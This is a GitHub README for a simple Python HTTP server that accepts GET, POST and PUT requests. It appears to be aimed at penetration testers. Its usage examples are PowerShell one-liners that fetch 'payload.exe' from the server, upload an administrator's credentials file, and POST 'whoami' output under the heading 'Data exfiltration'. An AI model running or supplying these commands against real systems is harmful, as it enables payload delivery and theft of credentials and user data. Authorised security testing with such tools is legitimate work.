Skip to content

ImaginaryBIT/Python_HTTP_Server

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

11 Commits
 
 
 
 
 
 

Repository files navigation

Multi-functions python HTTP Server

A HTTP Server for downloading or uploading file.

alt text

Usage:
Start HTTP Server

python3 HTTP_Server.py
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...

sudo python3 HTTP_Server.py 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Option1:
Download or upload file using web browser
Visit http://[host.ip]:8080

Option2:
Download file
Invoke-WebRequest -Uri http://[host.ip]:8080/payload.exe -OutFile payload.exe
Upload file
Invoke-Restmethod -uri http://[host.ip]:8080/credentials.zip -Method Put -Infile C:\\users\\administrator\\desktop\\credentials

Option3:
Data exfiltration
$postParams = @{Current_User=whoami}; Invoke-WebRequest -Uri http://[host.ip]:8080 -Method POST -Body $postParams;

About

A simple HTTP Server in python which accept GET, POST, PUT request.

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages